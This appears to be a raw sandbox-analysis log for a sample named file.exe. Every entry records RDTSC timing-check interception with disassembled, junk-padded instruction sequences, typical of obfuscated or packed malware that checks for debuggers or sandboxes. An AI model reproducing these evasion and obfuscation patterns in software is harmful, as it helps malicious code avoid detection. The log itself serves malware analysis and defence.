Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE0E second address: FFDE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE14 second address: FFDE52 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F711CDAA082h 0x00000008 pushad 0x00000009 jmp 00007F711CDAA080h 0x0000000e jmp 00007F711CDAA07Ah 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jo 00007F711CDAA07Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE52 second address: FFDE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC65h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE6B second address: FFDE82 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F711CDAA082h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE82 second address: FFDE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDFB0 second address: FFDFC0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F711CDAA076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDFC0 second address: FFDFC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDFC4 second address: FFDFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F711CDAA076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F711CDAA089h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10184A7 second address: 10184B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jc 00007F711D40AC56h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017847 second address: 1017888 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F711CDAA076h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jmp 00007F711CDAA088h 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F711CDAA082h 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017888 second address: 10178A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC67h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10178A5 second address: 10178AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10178AB second address: 10178AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10178AF second address: 10178B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10178B3 second address: 10178BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D90 second address: 1017D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D94 second address: 1017D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D9E second address: 1017DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA085h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017F1E second address: 1017F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017F22 second address: 1017F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F711CDAA076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017F33 second address: 1017F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018078 second address: 1018086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007F711CDAA082h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018086 second address: 101808C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B36D second address: 101B380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F711CDAA076h 0x00000009 jns 00007F711CDAA076h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DFBA second address: 101DFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F711D40AC58h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E250 second address: 101E2AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F711CDAA078h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push dword ptr [ebp+122D3781h] 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F711CDAA078h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov dh, cl 0x00000046 push 88004210h 0x0000004b pushad 0x0000004c jng 00007F711CDAA078h 0x00000052 pushad 0x00000053 popad 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FD7A second address: 101FD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10219E6 second address: 10219EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0377 second address: 54C0386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0386 second address: 54C0412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 214B750Ah 0x00000008 mov si, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov bx, cx 0x00000013 pushfd 0x00000014 jmp 00007F711CDAA086h 0x00000019 or ax, 45F8h 0x0000001e jmp 00007F711CDAA07Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 jmp 00007F711CDAA086h 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push edx 0x00000031 pop eax 0x00000032 pushfd 0x00000033 jmp 00007F711CDAA089h 0x00000038 xor ax, CBF6h 0x0000003d jmp 00007F711CDAA081h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0412 second address: 54C0422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711D40AC5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0422 second address: 54C0426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F045C second address: 54F0462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0462 second address: 54F0468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0468 second address: 54F046C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F046C second address: 54F0470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0470 second address: 54F0486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F711D40AC5Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0486 second address: 54F049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F049E second address: 54F04E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bh, ch 0x0000000c pushfd 0x0000000d jmp 00007F711D40AC69h 0x00000012 and cx, AED6h 0x00000017 jmp 00007F711D40AC61h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov si, bx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04E5 second address: 54F04EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F04EA second address: 54F052C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F711D40AC60h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F711D40AC67h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F052C second address: 54F0551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 4Eh 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F711CDAA088h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0551 second address: 54F05F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F711D40AC64h 0x00000011 jmp 00007F711D40AC65h 0x00000016 popfd 0x00000017 pushfd 0x00000018 jmp 00007F711D40AC60h 0x0000001d add al, FFFFFFD8h 0x00000020 jmp 00007F711D40AC5Bh 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F711D40AC5Bh 0x0000002f or si, 239Eh 0x00000034 jmp 00007F711D40AC69h 0x00000039 popfd 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F711D40AC61h 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05F5 second address: 54F05F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05F9 second address: 54F05FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05FF second address: 54F065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F711CDAA080h 0x00000008 jmp 00007F711CDAA082h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 lea eax, dword ptr [ebp-04h] 0x00000013 jmp 00007F711CDAA080h 0x00000018 nop 0x00000019 pushad 0x0000001a mov bh, ah 0x0000001c movsx edi, ax 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F711CDAA085h 0x00000026 nop 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F065F second address: 54F0663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0663 second address: 54F0676 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0676 second address: 54F068E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711D40AC64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F068E second address: 54F0692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0692 second address: 54F06A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F06A3 second address: 54F06A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F06A7 second address: 54F06AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F06AB second address: 54F06B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E001B second address: 54E0021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0021 second address: 54E0025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0025 second address: 54E0060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F711D40AC66h 0x00000011 push eax 0x00000012 jmp 00007F711D40AC5Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0060 second address: 54E007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E007B second address: 54E00B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F711D40AC5Eh 0x00000010 push FFFFFFFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00B0 second address: 54E00B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00B4 second address: 54E00D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00D1 second address: 54E0147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 call 00007F711CDAA083h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push 446040D6h 0x00000013 pushad 0x00000014 jmp 00007F711CDAA082h 0x00000019 mov ebx, eax 0x0000001b popad 0x0000001c xor dword ptr [esp], 31CEDE9Eh 0x00000023 jmp 00007F711CDAA07Ch 0x00000028 push 313630F5h 0x0000002d jmp 00007F711CDAA081h 0x00000032 add dword ptr [esp], 4472FA7Bh 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F711CDAA07Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0147 second address: 54E0177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f jmp 00007F711D40AC5Eh 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0177 second address: 54E017B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E017B second address: 54E0181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0181 second address: 54E0187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0187 second address: 54E018B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E018B second address: 54E018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E018F second address: 54E0226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F711D40AC63h 0x00000010 or cl, FFFFFFCEh 0x00000013 jmp 00007F711D40AC69h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F711D40AC60h 0x0000001f xor cx, 3948h 0x00000024 jmp 00007F711D40AC5Bh 0x00000029 popfd 0x0000002a popad 0x0000002b nop 0x0000002c pushad 0x0000002d jmp 00007F711D40AC64h 0x00000032 mov ecx, 5AFE86C1h 0x00000037 popad 0x00000038 sub esp, 18h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F711D40AC66h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0226 second address: 54E022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E022C second address: 54E0258 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F711D40AC67h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0258 second address: 54E025E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E025E second address: 54E029F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bl, ch 0x0000000c mov bx, D4DCh 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dx, ax 0x00000018 pushfd 0x00000019 jmp 00007F711D40AC68h 0x0000001e sbb ah, 00000028h 0x00000021 jmp 00007F711D40AC5Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E029F second address: 54E02B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02B7 second address: 54E02BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02BB second address: 54E02E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F711CDAA089h 0x00000011 mov di, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02E4 second address: 54E0300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711D40AC68h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0300 second address: 54E0304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0304 second address: 54E033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007F711D40AC67h 0x00000010 xchg eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F711D40AC60h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E033B second address: 54E034A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E034A second address: 54E0376 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F711D40AC5Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0376 second address: 54E03A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b jmp 00007F711CDAA084h 0x00000010 mov ah, 86h 0x00000012 popad 0x00000013 mov eax, dword ptr [75AF4538h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E03A9 second address: 54E03BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E03BF second address: 54E03F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F711CDAA07Dh 0x0000000b jmp 00007F711CDAA07Bh 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xor dword ptr [ebp-08h], eax 0x00000017 pushad 0x00000018 mov edx, eax 0x0000001a mov esi, 2EA75A07h 0x0000001f popad 0x00000020 xor eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E03F5 second address: 54E03F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
